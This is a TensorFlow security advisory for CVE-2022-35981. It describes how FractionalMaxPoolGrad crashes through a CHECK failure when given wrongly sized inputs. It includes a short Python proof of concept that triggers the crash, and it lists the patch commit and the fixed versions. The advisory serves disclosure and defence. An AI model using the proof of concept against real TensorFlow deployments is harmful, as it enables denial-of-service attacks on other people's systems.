CVE-2022-35981

Description

### Impact `FractionalMaxPoolGrad` validates its inputs with `CHECK` failures instead of with returning errors. If it gets incorrectly sized inputs, the `CHECK` failure can be used to trigger a denial of service attack: ```python import tensorflow as tf overlapping = True orig_input = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32) orig_output = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32) out_backprop = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32) row_pooling_sequence = tf.constant(0, shape=[5], dtype=tf.int64) col_pooling_sequence = tf.constant(0, shape=[5], dtype=tf.int64) tf.raw_ops.FractionalMaxPoolGrad(orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop, row_pooling_sequence=row_pooling_sequence, col_pooling_sequence=col_pooling_sequence, overlapping=overlapping) ``` ### Patches We have patched the issue in GitHub commit [8741e57d163a079db05a7107a7609af70931def4](https://github.com/tensorflow/tensorflow/commit/8741e57d163a079db05a7107a7609af70931def4). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.
